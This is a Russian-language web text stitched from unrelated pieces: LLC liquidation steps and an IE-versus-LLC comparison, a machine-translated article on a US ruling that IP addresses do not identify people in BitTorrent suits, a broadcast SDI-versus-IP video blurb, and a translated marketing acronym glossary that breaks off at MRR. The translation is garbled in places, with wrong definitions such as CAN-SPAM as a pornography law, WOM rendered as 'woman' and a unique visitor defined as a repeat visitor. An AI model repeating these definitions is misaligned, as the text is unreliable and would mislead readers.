  3. Ликвидационная комиссия обязана опубликовать в журнале «Вестник государственной регистрации» сообщение о ликвидации, а также о порядке и сроке заявления требований кредиторами общества.
  4. В течение 2 месяцев после публикации сообщения, комиссия обязана выявить кредиторов и лично каждого уведомить о ликвидации ООО.
  5. По истечении 2 месяцев, комиссия формирует промежуточный ликвидационный баланс. И сообщает об этом в налоговую.
  6. Далее подготавливается заявление по форме Р16001 о государственной регистрации юридического лица в связи с его ликвидацией.
  7. Оплачивается госпошлина в размере 800 ₽.
  8. И весь пакет документов передается в ФНС.

На 6-й рабочий день после подачи документов, вы получите документы о ликвидации ООО:

  • Лист записи ЕГРЮЛ.
  • Уведомление о снятии с учета юридического лица в налоговом органе.

Сравнительная таблица

Форма бизнесаИПООО
РегистрацияДля регистрации ИП необходим только паспорт, ИНН и заявление. + 800 ₽ за госпошлинуРегистрация ООО требует большего пакета документов. + 4000 ₽ за регистрацию
Виды деятельностиОграничение на виды деятельностиНет ограничений на виды деятельности
Количество участниковТолько одинДо 50 физических или юридических лиц
Уставной капиталНе требуетсяОбязателен. Минимальный 10 000 ₽
Виды налогообложенияМожет использовать все виды налогообложенияНе имеет право использовать Патент. Все остальные может
Адрес регистрацииВсегда по месту прописки физического лица, который регистрирует ИПМожет быть зарегистрирован по месту  прописки учредителя, в арендованном помещении или собственном нежилом помещении
Имущественная ответственностьИП отвечает всем своим имуществомООО отвечает имуществом организации. Но в случае банкротства существует вероятность, что отвечать будут ее участники, по субсидиарной ответственности
Налоги в случае отсутствия деятельности на предприятииНеобходимо платить фиксированные страховые взносы за себяНичего платить не нужно
ОтчетностьЕсли нет работников, то нет необходимости отправлять отчетность по страховым взносамНеобходимо сдавать все виды отчетности
Страховые взносы за себя и работников

Сумма страховых взносов за работников одинаковая на ИП и ООО.

Страховые взносы за себя в 2021 году составляют  40 874 ₽

Сумма страховых взносов за работников одинаковая на ИП и ООО.

Фиксированных смтраховых взносов за себя — нет

РаботникиИП может работать один, без привлечения работниковОбязательно наличие одного сотрудника — директора, устроенного по ТК РФ
Вывод денегВсе деньги на ИП — его собственные, могут быть в любой момент изъяты из дела на личные нужды. При выводе денег налогом дополнительно не облагаютсяВсе деньги ООО принадлежат организации, вывести можно только чистую прибыль, путем выплаты дивидендов. Облагаются налогом НДФЛ — 13%
Привлечение инвесторовВ бизнес ИП нельзя вступить в долю. Поэтому при нехватке средств придется брать кредиты и займыМожно привлекать дополнительных инвесторов. При этом отдав им долю общества, а значит прибыли
Закрытие бизнесаЗакрытие ИП не требует больших усилий — просто написать заявление и оплатить госпошлинуЛиквидация ООО требует регламентированных действий, в определенной последовательности. Ликвидация длится не менее 3 месяцев
Административная и налоговая ответственностьШтрафы ИП при совершении административной ответственности ниже. И если речь идет об уголовной ответственности, при совершении налогового правонарушения, то также у ИП немного мягче наказанияК ООО более суровые требования, а потому штрафы и ответственность выше. Единственное за налоговые правонарушения — штрафы одинаковые у ИП и ООО
Продажа бизнесаИП не может продать бизнес, так как он привязан к его личностиООО может продать бизнес целиком, или какую-то долю

Запомнить

  1. Открыть ИП проще и по финансам и по количеству собираемых документов.
  2. Налоги и отчетности зависят от выбранной системы налогообложения, а не от формы бизнеса. Единственное преимущества ИП в этом — если он работает без наемных сотрудников, ему не придется сдавать отчеты по страховым взносам.
  3. ИП не может продать бизнес, привлечь инвесторов и принять в него новых участников. Если вы планируете что-то из перечисленного, открывайте ООО.
  4. У ИП есть ограничения на виды деятельности.
  5. Систему налогообложения ПСН (Патент) может применять только ИП.
  6. Ответственность при административном или налоговом правонарушении у ИП меньше.
  7. ИП обязан платить страховые взносы за себя независимо от того, есть ли прибыль!
  8. Закрытие ИП гораздо проще, в отличие от процедуры ликвидации ООО.

Открыть и вести бизнес на ИП проще, но иногда он ограничивает деятельность. А потому отталкиваться надо от ваших потребностей.

Если только начинаете дело и собираетесь вести его один — открывайте ИП, в случае расширения бизнеса откроете ООО.

Если же собираетесь открыть дело с партнерами, или привлекать инвесторов, или деятельность, которой собираетесь заниматься запрещена для ИП — то однозначно открывайте ООО.

Удачи вам в ваших начинаниях!

Может быть полезно:

  1. Как самому открыть ИП — подробная пошаговая инструкция для новичков
  2. Системы налогообложения для ИП — подробный разбор
  3. Открыть расчетный счет в Тинькофф Банке
  4. Открыть расчетный счет в Альфа-Банке для ИП и ООО.

Интересно:

  • У вас уже есть опыт ведения бизнеса? Может есть какой нибудь секрет успеха, поделитесь?

 

Вы не IP-адрес, судья по правилам

Джеймс Янг / Getty Images

IP-адрес не является номером социального страхования или отпечатком пальца. Он, по словам судьи Гэри Брауна из окружного суда США Восточного округа Нью-Йорка, «предоставляет только место, в котором может быть развернуто одно из любого количества компьютерных устройств, подобно тому, как телефонный номер может использоваться для любого количество телефонов ».

Это не помешало юристам вести себя так, будто IP-адреса - это виртуальные удостоверения личности.По словам Митча Штольца, штатного поверенного Electronic Frontier Foundation (EFF), более 200 000 человек были привлечены к ответственности в массовых судебных процессах против BitTorrent, многие из которых были привлечены «патентными троллями», стремящимися запугать людей до поселений.

( ПОДРОБНЕЕ: Британский суд постановил, что интернет-провайдеры заблокируют Pirate Bay - США дальше?)

«Это бизнес-модель - своего рода массовое вытеснение», - говорит Штольц. «Единственный способ, которым это выгодно для этих юристов, - это если они получат кучу небольших расчетов от большого количества людей, не тратя много времени в суде на рассмотрение конкретных дел по существу.”

Рассматриваемое дело Нью-Йорка противопоставило друг другу две слегка несимпатичные группы: создателей порнографических фильмов и людей, скачавших указанные фильмы через BitTorrent. Загрузчики порнографических фильмов часто становятся объектами судебных исков, в основном потому, что истцы считают, что затруднения могут заставить ответчиков быстро урегулировать свои дела.

По словам Штольца, идея состоит в том, чтобы подать в суд список IP-адресов, получить разрешение на отправку повесток в суд соответствующим поставщикам интернет-услуг, получить информацию о владельце учетной записи каждого IP-адреса, а затем напугать каждого владельца учетной записи для урегулирования по несколько тысяч долларов за штуку - значительная сумма в совокупности, но достаточно низкая, чтобы некоторые люди просто заплатили ее, вместо того чтобы бороться в суде.

Все начинается со списка IP-адресов, который обычно является единственным доказательством, имеющимся у истцов. В настоящее время в Соединенных Штатах открыты сотни подобных дел, но лишь немногие из них содержат столь подробный анализ того, что не так с использованием только IP-адреса для идентификации кого-либо:

Таким образом, вероятность того, что абонент на IP-адрес выполнил определенную компьютерную функцию - здесь якобы незаконную загрузку одного порнографического фильма - не более вероятна, чем сказать, что человек, оплачивающий телефонный счет, совершил конкретный телефонный звонок.

Действительно, из-за растущей популярности беспроводных маршрутизаторов это гораздо менее вероятно. Если десять лет назад домашние беспроводные сети практически не существовали, 61% домов в США теперь имеют беспроводной доступ. В результате один IP-адрес обычно поддерживает несколько компьютерных устройств, которые, в отличие от традиционных телефонов, могут одновременно использоваться разными людьми. Предполагаемые загрузки могли быть выполнены разными членами семьи или даже посетителями.

Возьмем, к примеру, кафе.Должен ли владелец бизнеса нести ответственность, если один из его клиентов незаконно скачивает фильмы, используя бесплатный Wi-Fi в кафе?

Даже помимо вопроса о незаконных загрузках, вопрос о том, идентифицирует ли IP-адрес конкретного человека, имеет отношение к разного рода уголовным делам. Это не означает, что IP-адрес не является полезным доказательством; Дело в том, что одного IP-адреса недостаточно, чтобы окончательно связать человека с противоправным действием.

В то время как судьи по всей стране принимали оба решения, когда дело доходит до вопроса, в последнее время многие пришли к такому же выводу, что и судья Браун.Однако до тех пор, пока серьезное дело не дойдет до апелляционного суда, вопрос будет оставаться неясным.

«Мы заметили некоторый прогресс», - говорит Штольц. «Прилив меняется; были судьи в северной Калифорнии, Иллинойсе, Вашингтоне, Техасе, Вирджинии, а теперь и в Нью-Йорке, которые тормозили это и говорили этим адвокатам: «Вы должны явиться в суд с немногим большим, чем просто списком IP-адреса. '”

[через TorrentFreak]

Действительно ли IP лучше SDI? - Знание о трансляции

Неужели SDI настолько плох? Поскольку отрасль в целом активно обсуждает и развивает IP-технологию, все разговоры о преимуществах IP могут показаться пренебрежением к SDI.SDI очень хорошо служила индустрии вещания на протяжении десятилетий, так что же в ней такого внезапного? Конечно, SDI все еще имеет место и даже некоторые преимущества перед IP. Хотя IP определенно является отличной технологией для развития отрасли, нет ничего плохого в том, чтобы использовать SDI в правильном месте.

Эд Калверли из Q3Media честно рассматривает плюсы и минусы SDI. Не бойтесь объяснять, где SDI подходит лучше, чем IP, это очень ценное видео для всех, кому приходится выбирать технологию для небольшого или среднего проекта.Хотя в настоящее время многие крупные проекты лучше всего реализовывать в IP, Эд смотрит на то, почему это так, и, что, возможно, более важно, что сложно сделать, чтобы заставить его работать, подчеркивая различия при выполнении одного и того же проекта в SDI.

Это видео является следующим в серии обучающих видео IET Media и хорошо следует за докладом Джерарда Филлипса о проектировании сетей для несжатых медиа. Здесь Эд резюмирует причины такого успеха и повсеместного признания SDI в индустрии вещания, а также рассматривает SDI-маршрутизацию.Это важно для понимания различий при переходе на IP с точки зрения преимуществ и компромиссов.

SDI - это однонаправленная технология, которая делает ее приятно простой, но при большом масштабе усложняет жизнь с точки зрения кабельной разводки. Он не только однонаправлен, но и действительно может передавать только одно видео за раз. До IP это не выглядело большим ограничением, но по мере увеличения плотности прокладка кабелей часто была одним из факторов, ограничивающих размер оборудования - не в отличие от причины 3.В некоторых телефонах начали исчезать 5-миллиметровые аудиоразъемы. Более того, любой, кому приходилось планировать расширение SDI-маршрутизатора, добавляя второй, сталкивался с огромной сложностью этого. Физически это может быть очень сложно, это будет связано с использованием связующих линий, которые сами по себе связаны с целыми накладными расходами на управление, а также потребуют много ценных операций ввода-вывода, которые можно было бы использовать для новых входов и выходов, но они необходимы для связывая маршрутизаторы вместе. Эд использует несколько анимаций, чтобы показать, как IP значительно улучшает маршрутизацию мультимедиа,

Во второй части видео мы начинаем рассматривать плюсы и минусы ключевых тем, включая задержку, поведение маршрутизации, виртуальную маршрутизацию, управление полосой пропускания, UHD и PTP.С учетом всего сказанного Эд приходит к выводу, что IP - определенно будущее для отрасли, но для каждого проекта мы не должны отказываться от преимуществ SDI, поскольку это вполне может быть правильным вариантом.

Смотрите сейчас!
Динамики

Эд Калверли
Тренер и консультант
Q3Media.co.uk
Модератор: Рассел Траффорд-Джонс
Исполнительный член, IET Media Technical Network
Editor, The Broadcast Knowledge
Менеджер по обслуживанию и поддержке, Techex

Связанные

75 Маркетинг и бизнес Аббревиатуры и сокращения, которые должен знать каждый отраслевой профессионал

Вы когда-нибудь слышали аббревиатуру, но не понимали, что она означает? Это действительно может сбить вас с толку в разговоре.Обычно я стараюсь записать это незаметно или, если у меня есть ноутбук, ищу его в Интернете, чтобы никто не увидел.

Но отраслевые аббревиатуры могут иметь несколько значений, и иногда Википедия не оправдывает их.

Вот почему мы собрали 34 наиболее распространенных маркетинговых акронима и 41 наиболее распространенное сокращение для бизнеса - и поместили их в эпический глоссарий, который вы можете просмотреть, изучить или добавить в закладки и сохранить на потом.

Чем больше вы знаете, тем больше вероятность, что вы сможете понять происходящие вокруг вас разговоры и участвовать в них.

34 Общепринятые маркетинговые акронимы и сокращения

AIDA: внимание / осведомленность, интерес, желание, действие

Четыре этапа теперь несколько устаревшей воронки покупки, в которой клиенты переходят от рассмотрения к покупке. Подробнее о текущем цикле рассмотрения покупки читайте здесь.

BANT: Бюджет, власть, необходимость, сроки

Четыре критерия, которые используют торговые представители для отбора потенциальных клиентов. Известный инструмент для торговых представителей и руководителей продаж, который помогает им определить, есть ли у их потенциальных клиентов бюджет, полномочия, потребности и правильные сроки для покупки того, что они продают.

  • B = Бюджет: определяет, есть ли у вашего потенциального клиента бюджет на то, что вы продаете.
  • A = Полномочия: Определяет, имеет ли ваш потенциальный клиент полномочия принимать решение о покупке.
  • N = Потребность: Определяет необходимость бизнеса в том, что вы продаете.
  • T = Timeline: определяет временные рамки для реализации.

Формула BANT была первоначально разработана IBM несколько десятилетий назад. Мы больше не думаем, что BANT достаточно: узнайте больше о квалификационных критериях, установленных вице-президентом по продажам HubSpot.

BR: показатель отказов

Показатель отказов веб-сайта: Процент людей, которые попадают на страницу вашего веб-сайта, а затем уходят, не нажимая на что-либо еще или переходя на любые другие страницы вашего сайта. Высокий показатель отказов обычно приводит к низким коэффициентам конверсии, потому что никто не остается на вашем сайте достаточно долго, чтобы прочитать ваш контент или совершить конверсию на целевой странице (или для любого другого события конверсии).

Показатель отказов электронной почты: Скорость, с которой электронное письмо не могло быть доставлено в почтовый ящик получателя.Высокий показатель отказов обычно означает, что ваши списки устарели или куплены, или в них много недействительных адресов электронной почты. В электронной почте не все отказы плохи, поэтому важно различать жесткие и мягкие отказы, прежде чем удалять адрес электронной почты из своего списка. Узнайте о жестких и мягких отскоках здесь.

CAN-SPAM: Контроль за распространением нежелательной порнографии и маркетинг

Закон США, принятый в 2003 году, устанавливает правила для коммерческой электронной почты и коммерческих сообщений.Это постановление дает получателям право запретить компании отправлять им электронные письма и описывает штрафы, понесенные теми, кто нарушает закон. Например, CAN-SPAM является причиной, по которой компании должны иметь опцию «отказаться от подписки» внизу каждого электронного письма. Узнайте больше о CAN-SPAM здесь и посмотрите этот пост, чтобы узнать, какие факторы влияют на доставляемость электронной почты.

CASL: Канадское законодательство о борьбе со спамом

Канадский закон, принятый в 2013 году, регулирует отправку «коммерческих электронных сообщений»."CASL охватывает электронную почту, текстовые сообщения, мгновенные сообщения и автоматические сообщения сотового телефона, отправляемые на компьютеры и телефоны в Канаде. Подробнее о CASL можно узнать здесь.

Директор по маркетингу: Директор по маркетингу

Самая желанная работа в маркетинговой структуре организации. Набор навыков директора по маркетингу основан на основах маркетинга, но распространяется на развитие персонала, количественный анализ и стратегическое мышление. Узнайте больше о том, что нужно для того, чтобы стать директором по маркетингу, здесь.

CMS: Система управления контентом

Веб-приложение, призванное упростить для нетехнических пользователей создание, редактирование и управление веб-сайтом.Помогает пользователям с редактированием контента и другими «закулисными» действиями, такими как обеспечение возможности поиска и индексации контента, автоматическое создание элементов навигации, отслеживание пользователей и разрешений и многое другое.

В HubSpot мы думаем, что COS (система оптимизации контента) лучше, чем CMS. Узнай почему.

COS: система оптимизации содержания

Возьмите CMS (систему управления контентом) и оптимизируйте ее, чтобы предоставить клиентам максимально персонализированный веб-опыт.Узнайте больше о COS HubSpot здесь.

CPA: цена за действие

Модель интернет-рекламы, при которой рекламодатель платит за каждое конкретное действие, которое кто-то совершает, например за показ, клик, отправку формы или продажу. Вы можете решить, является ли данное действие лидом или продажей. Маркетологи используют его, чтобы вычислить расходы на желаемое действие, к которому они подталкивают людей.

CPC: цена за клик

Сумма денег, потраченная на получение клика по цифровой рекламе при запуске рекламной кампании PPC.Цена за клик используется для оценки экономической эффективности и прибыльности вашей кампании.

CPL: Стоимость лида

Сумма, которую ваша маркетинговая организация должна потратить на привлечение интереса. Это сильно влияет на стоимость привлечения клиентов (CAC), и маркетологам следует внимательно следить за этой метрикой.

CR: коэффициент конверсии

Процент людей, выполнивших желаемое действие на одной веб-странице, например, заполнив форму. В целом страницы с высоким коэффициентом конверсии работают хорошо, тогда как страницы с низким коэффициентом конверсии работают плохо (хотя из этого правила могут быть исключения).

CRM: Управление взаимоотношениями с клиентами

Набор программ, позволяющих компаниям отслеживать все, что они делают со своими существующими и потенциальными клиентами.

На самом простом уровне программное обеспечение CRM позволяет отслеживать всю контактную информацию этих клиентов. Но CRM-системы могут делать и много других вещей, например, отслеживать электронную почту, телефонные звонки и сделки; отправка персонализированных писем; планирование встреч; и ведение журнала каждого случая обслуживания и поддержки клиентов.Некоторые системы также включают каналы из социальных сетей, таких как Facebook, Twitter, LinkedIn и других.

Цель состоит в том, чтобы создать систему, в которой отдел продаж будет иметь под рукой большой объем информации и может быстро получить все о потенциальном или существующем клиенте.

CRO: Оптимизация конверсии

Процесс повышения конверсии вашего сайта с помощью методов проектирования, ключевых принципов оптимизации и тестирования. Это включает в себя создание для посетителей вашего веб-сайта опыта, который превратит их в клиентов.CRO чаще всего применяется для оптимизации веб-страниц или целевой страницы, но также может применяться к социальным сетям, призывам к действию и другим частям вашего маркетинга. Узнайте больше здесь.

CTA: призыв к действию

Текстовая ссылка, кнопка, изображение или какой-либо другой тип веб-ссылки, побуждающий посетителя веб-сайта совершить действие на этом веб-сайте, например посетить целевую страницу для загрузки фрагмента контента.

Действие, которое вы хотите, чтобы люди предприняли, может быть любым: загрузить электронную книгу, подписаться на веб-семинар, получить купон, посетить мероприятие и т. Д.CTA можно разместить в любом месте вашего маркетинга - на вашем веб-сайте, в электронной книге, в электронном письме или даже в конце сообщения в блоге. Узнайте больше о том, как сделать призывы к действию эффективными.

CTR: CTR

Процент вашей аудитории, которая продвигается (или переходит) от одного шага вашей маркетинговой кампании к следующему. В математическом выражении это общее количество кликов, полученных вашей страницей или призывом к действию, разделенное на количество возможностей, которые нужно было использовать людям (например, количество просмотров страниц, отправленных писем и т. Д.).

DM: прямая почтовая рассылка или прямое сообщение (Twitter)

Прямая почтовая рассылка: Доставка рекламных материалов получателям почтовых отправлений; также называется «нежелательной почтой» получателями. Продажа товаров по почте - сомнительное вложение для большинства предприятий. Вот почему.

Прямое сообщение: Сообщение в Twitter, используемое для прямой и частной связи с подписчиками Twitter. Прямые сообщения можно отправлять от одного человека к другому или внутри группы. Большинство аккаунтов разрешают прямую переписку только от своих подписчиков, но многие компании разрешают прямую переписку от кого угодно.Чтобы узнать больше о том, как работают прямые переписки, посетите этот ресурс в Twitter.

GA: Google Analytics

Сервис от Google, который генерирует подробную статистику о посещаемости веб-сайта и его источниках, а также измеряет конверсии и продажи. Маркетологи используют его, чтобы узнать свою аудиторию, проследить пути своих клиентов и визуально оценить, как посетители взаимодействуют со своими страницами. Нажмите здесь, чтобы узнать, почему аналитика HubSpot и Google не совпадают.

KPI: ключевой показатель эффективности

Тип измерения эффективности, который компании используют для оценки успеха деятельности.В то время как KPI используются во всем бизнесе, маркетологи смотрят на KPI, чтобы отслеживать прогресс в достижении маркетинговых целей.

Примеры KPI включают CAC (стоимость привлечения клиентов), количество потенциальных клиентов и просмотры домашней страницы. Выберите KPI, которые отражают эффективность вашего маркетинга и бизнеса. (Узнайте больше о ключевых показателях эффективности ведения блога здесь, а также о ключевых показателях эффективности электронного маркетинга здесь.)

PPC: плата за клик

Модель интернет-рекламы, при которой рекламодатели платят издателю (обычно поисковой системе, сайту социальных сетей или владельцу веб-сайта) определенную сумму денег за каждый клик по их объявлению.Для поисковых систем объявления PPC отображают рекламу, когда кто-то ищет ключевое слово, которое соответствует списку ключевых слов рекламодателя, который они заранее отправляют в поисковую систему.

Есть два способа оплаты PPC-рекламы:

  1. Единая ставка, , когда рекламодатель и издатель согласовывают фиксированную сумму, которая будет выплачиваться за каждый клик. Обычно это происходит, когда издатели устанавливают фиксированную ставку за PPC в разных областях своего веб-сайта.
  2. На основе ставок, , когда рекламодатель конкурирует с другими рекламодателями в рекламной сети.В этом случае каждый рекламодатель устанавливает максимальные затраты на оплату определенного рекламного места, поэтому реклама перестанет появляться на данном веб-сайте, как только эта сумма будет потрачена. Это также означает, что чем больше людей нажимают на ваше объявление, тем меньше PPC вы платите, и наоборот.

Подробнее о том, как начать работу с PPC, можно узнать здесь.

PR: Связи с общественностью

PR направлен на то, чтобы представить компанию нужной аудитории в нужное время с помощью сообщений, которые заставляют ее представителей походить на людей, а не на роботов.Идея состоит в том, чтобы привлечь внимание СМИ, а не покупать его. Цель? Чтобы проинформировать общественность, потенциальных клиентов, инвесторов, партнеров и сотрудников и побудить их принять определенное мнение о компании, ее руководстве и сотрудниках, а также ее продуктах или услугах.

Сегодня эти усилия во многом связаны с созданием и распространением контента. Например, хороший сотрудник по связям с общественностью может работать с интернет-газетой, чтобы опубликовать статью, в которой будет привлекательно представлена ​​его компания. Загрузите здесь наши бесплатные пошаговые шаблоны пресс-релизов, а также полное руководство с советами и идеями по эффективным стратегиям продвижения и ответами на часто задаваемые вопросы по связям с общественностью.

PV: Просмотр страницы

Запрос на загрузку отдельной веб-страницы в Интернете. Маркетологи используют их, чтобы проанализировать свой веб-сайт и оценить, насколько велика их аудитория.

QR-код: штрих-код быстрого ответа

Сканируемые штрих-коды, используемые маркетологами для объединения офлайн- и онлайн-маркетинга. Когда люди видят их, они могут вынуть свой смартфон и отсканировать QR-код с помощью приложения для сканирования штрих-кода. Информация, закодированная с помощью QR-кодов, может включать текст, URL-адрес или другие данные.Узнайте, как создать QR-код здесь.

RSS: Расширенный обзор сайта

RSS-канал - это веб-канал, который публикует часто обновляемую информацию, такую ​​как сообщения в блогах, новости и подкасты. Они позволяют издателям автоматически объединять данные в синдикаты, поэтому их иногда называют «Really Simple Syndication». Когда вы подписываетесь на RSS-канал веб-сайта, вам больше не нужно проверять их веб-сайт на наличие нового контента - вместо этого ваш браузер будет автоматически отслеживать сайт и своевременно предоставлять вам обновления.

RT: ретвитнуть

Повторная публикация твита, опубликованного другим пользователем в Twitter. Есть несколько способов сделать это:

1) Вы можете ретвитнуть весь твит, нажав кнопку ретвита, указанную ниже.

2) Вы можете опубликовать «ретвит с комментарием», который включает ваш собственный комментарий в дополнение к информации, которую вы ретвитите.

Когда вы видите «Пожалуйста, RT» в чьем-то твите, это означает, что они просят своих подписчиков ретвитнуть этот твит, чтобы привлечь внимание.Узнайте больше о ретвитах здесь.

SaaS: программное обеспечение как услуга

Любое программное обеспечение, размещенное в другой компании и хранящее вашу информацию в облаке. Примеры: HubSpot, Dropbox, клиенты обмена мгновенными сообщениями и приложения для управления проектами.

SEO: поисковая оптимизация

Методы, которые помогают вашему сайту занять более высокое место в обычных результатах поиска, делая ваш сайт более заметным для людей, которые ищут ваш бренд, продукт или услугу через такие поисковые системы, как Google, Bing и Yahoo.

Есть масса компонентов для улучшения SEO страниц вашего сайта. Поисковые системы ищут элементы, включая теги заголовков, ключевые слова, теги изображений, структуру внутренних и входящих ссылок - и это лишь некоторые из них. Поисковые системы также смотрят на структуру и дизайн сайта, поведение посетителей и другие внешние факторы, чтобы определить, какое место должен занимать ваш сайт на страницах результатов поиска. Узнайте больше о SEO здесь.

SLA: Соглашение об уровне обслуживания

Для маркетологов SLA - это соглашение между отделами продаж и маркетинга компании, которое определяет ожидания отдела продаж от маркетинга и наоборот.Маркетинговое SLA определяет ожидания, которые Продажи предъявляют к маркетингу в отношении количества и качества потенциальных клиентов, в то время как SLA по продажам определяет ожидания, которые Маркетинг ожидает от Продаж в отношении того, насколько глубоко и часто Продажи будут преследовать каждого квалифицированного интереса.

SLA существуют для согласования продаж и маркетинга. Если два отдела управляются как отдельные разрозненные хранилища, система не работает. Чтобы компании могли добиться роста и стать лидерами в своих отраслях, крайне важно, чтобы эти две группы были должным образом интегрированы.Узнайте, как создать SLA здесь.

SM: Социальные сети

Социальные сети - это места, где вы можете публиковать ссылки, фотографии, видео и другой контент в надежде, что тысячи людей увидят его, нажмут на него, начнут взаимодействовать с ним и поделятся им в своих сетях. Некоторые из самых крупных: Facebook, Twitter, Instagram и Snapchat.

SMM: маркетинг в социальных сетях

Когда люди используют социальные сети, чтобы продавать свой бизнес клиентам, потенциальным клиентам, журналистам, блогерам, сотрудникам, потенциальным сотрудникам и всем остальным в социальной вселенной.

Загрузите наше руководство по глобальному маркетингу в социальных сетях, чтобы узнать, как проводить кампании в социальных сетях для мировой аудитории.

УФ: Уникальный посетитель

Человек, который посещает веб-сайт более одного раза в течение определенного периода времени. Маркетологи используют этот термин в отличие от общих посещений сайта, чтобы отслеживать объем трафика на своем сайте. Если только один человек посещает веб-страницу 30 раз, то эта веб-страница имеет одно UV и 30 общих посещений сайта.

ЖЕНЩИНА: Молва

Передача информации от человека к человеку.Технически этот термин относится к устному общению, но сегодня он также относится и к онлайн-общению. WOM-маркетинг недорогой, но требует работы и включает использование многих компонентов входящего маркетинга, таких как маркетинг продуктов, контент-маркетинг и маркетинг в социальных сетях. Узнайте больше о создании мощной маркетинговой стратегии WOM здесь.

41 Общепринятое сокращение бизнеса

ASP: поставщик услуг приложений

Интернет-хостинг, который предоставляет клиентам компьютерные услуги (также известные как продукты SaaS) по сети.

API: интерфейс прикладного программирования

Термин компьютерного программирования, означающий ряд правил. API-интерфейсы позволяют приложению извлекать информацию из службы и использовать эту информацию в собственном приложении или иногда для анализа данных. Это что-то вроде телефона, по которому приложения могут общаться - API буквально «вызывает» одно приложение и получает информацию, которую вы можете использовать в своем программном обеспечении. API-интерфейсы предоставляют данные, необходимые для решения проблем клиентов.

HubSpot имеет API-интерфейсы, которые разработчики используют для передачи информации из нашего программного обеспечения в свои. Маркетологам важно понимать, что API-интерфейсы могут сделать, чтобы учесть их в своих маркетинговых стратегиях. Узнайте больше о том, как маркетологи могут использовать API здесь.

B2B: Business-to-Business

Компании, продающие другим предприятиям. Примеры: Slack, Google.

B2C: Business to Consumer

Компании, которые продают напрямую потребителям.Примеры: Amazon, Apple, Nike.

CAC: Стоимость привлечения клиента

Это ваши общие затраты на продажи и маркетинг. Чтобы рассчитать, выполните следующие действия для заданного периода времени (месяц, квартал или год):

  1. Сложите расходы на программу или рекламу + зарплаты + комиссионные + бонусы + накладные расходы.
  2. Разделите на количество новых клиентов за этот период времени.

Например, если вы потратили 500 000 долларов на продажи и маркетинг в конкретный месяц и добавили 50 клиентов в тот же месяц, то ваш CAC в этом месяце составил 10 000 долларов.(Подробнее здесь.)

Генеральный директор: Главный исполнительный директор

Самый старший корпоративный служащий, руководитель или администратор, отвечающий за управление компанией. Этот человек отвечает за максимизацию стоимости компании и принятие решений на высоком уровне в отношении политики и стратегии и обычно подотчетен совету директоров.

Финансовый директор: Финансовый директор

Высший руководитель, ответственный за управление финансовыми рисками в компании, включая финансовое планирование, ведение учета и отчетность.Этот человек является официальным представителем компании по финансовым вопросам и обычно подчиняется генеральному директору и совету директоров.

CIO: директор по информационным технологиям

Высший руководитель, ответственный за управление, внедрение и удобство использования информационных и компьютерных технологий в компании. Директор по информационным технологиям выясняет, какую пользу эти технологии приносят компании или улучшают существующий бизнес-процесс, а затем интегрирует систему, чтобы реально добиться этой выгоды или улучшения.

COO: Главный операционный директор

Высший руководитель, ответственный за управление и надзор за текущими бизнес-операциями в компании. Главный операционный директор обычно подчиняется генеральному директору и, как правило, является заместителем командира в компании.

CSO: Начальник службы безопасности

Высший руководитель, ответственный за разработку и контроль всех политик и программ, которые защищают людей, интеллектуальные активы и материальную собственность компании. Это включает в себя все, от конфиденциальности и защиты данных до экологической безопасности, здоровья и безопасности.

Технический директор: технический директор

Иногда называемый «главным техническим директором», технический директор является высшим руководителем, ответственным за сосредоточение всех научных и технологических вопросов в организации. Эта роль наиболее распространена в компаниях, работающих в технологических отраслях всех типов, от программного обеспечения и электронной коммерции до биотехнологий и автомобилестроения.

CLV или CLTV: пожизненная ценность клиента (см. LTV)
CoCA: Стоимость привлечения клиента (см. CAC)
CSS: каскадные таблицы стилей

Язык, который управляет дизайном и представлением веб-страниц: цветом, внешним видом, ощущениями и т. Д.Он работает вместе с HTML (см. HTML), который обрабатывает содержимое веб-страниц. Думайте о HTML как о скелете ваших веб-страниц, а CSS - как об одежде.

С помощью CSS вы можете создавать правила, сообщающие вашему веб-сайту, как вы хотите отображать информацию. И вы можете хранить команды для стиля - шрифты, цвета и т. Д. - отдельно от команд для содержимого. Они называются «каскадными», потому что у вас может быть несколько таблиц стилей, при этом одна таблица стилей наследует свойства (или «каскадно») от других.Узнайте больше здесь.

CX: качество обслуживания клиентов (см. UX)
DNS: сервер доменных имен

Сервер, который переводит веб-адрес в один или несколько IP-адресов. (См. IP-адрес.)

EOD: конец дня

В просторечии EOD означает конец рабочего дня - что бы это ни значило для говорящего. Я мог бы сказать коллеге, например, что я получу ей отчет «до EOD завтра». В некоторых случаях EOD принимает более формальное значение конца торгового дня на финансовых рынках.

EOW: конец недели

Подобно EOD, EOW просто означает конец недели. В разговорной речи это может означать конец рабочего дня в пятницу.

HTML: язык гипертекстовой разметки

Язык, используемый для управления архитектурой вашего веб-сайта, целевых страниц и электронной почты. HTML определяет структуру вашего веб-сайта, от заголовка и первого заголовка до маркированного списка и нижнего колонтитула. «HTML - это скелет ваших веб-страниц, а CSS - это одежда."Подробнее здесь.

IP-адрес: Адрес Интернет-протокола

Цифровая метка, присваиваемая каждому устройству, участвующему в компьютерной сети, которая использует для связи Интернет-протокол.

ISP: Интернет-провайдер

Организация (коммерческая, общественная, некоммерческая или частная), предоставляющая интернет-услуги.

LTV: пожизненная ценность

Прогноз чистой прибыли, относящейся ко всем будущим отношениям с покупателем.Чтобы рассчитать LTV, выполните следующие действия для заданного периода времени:

.
  1. Получите доход, который клиент заплатил вам за этот период времени.
  2. Вычтите из этого числа валовую прибыль.
  3. Разделите на предполагаемый коэффициент оттока (он же коэффициент отмены) для этого клиента.

Например, если клиент платит вам 100 000 долларов в год, при этом ваша валовая прибыль от дохода составляет 70%, а этот тип клиента, согласно прогнозам, откажется от продажи на уровне 16% в год, тогда LTV клиента составит 437 500 долларов.(Подробнее здесь.)

LTV: CAC: отношение жизненной ценности к стоимости привлечения клиента

Отношение LTV к CAC. (См. LTV и CAC.)

Когда у вас есть LTV и CAC, вычислите их соотношение. Если привлечение клиента с LTV в размере 437 500 долларов обойдется вам в 100000 долларов, то ваш LTV: CAC составляет от 4,4 до 1.

м / м: месяц к месяцу

Изменения уровней, выраженные по отношению к предыдущему месяцу. Эти изменения более волатильны, чем квартал к кварталу или год к году, и, как правило, отражают разовые события, такие как праздники, проблемы с веб-сайтом, стихийные бедствия и обвалы фондовых рынков.Сравните среднее значение того, что вы измеряете за месяц X, с месяцем Y, чтобы рассчитать изменение за месяц.

Чтобы вычислить рост в процентах: вычтите число Y месяца из числа X месяца, разделите результат на число X месяца, затем умножьте окончательный результат на 100.

MTD: текущий месяц

Период времени, начинающийся в начале текущего месяца и заканчивающийся в текущую дату.

MRR: Ежемесячный периодический доход

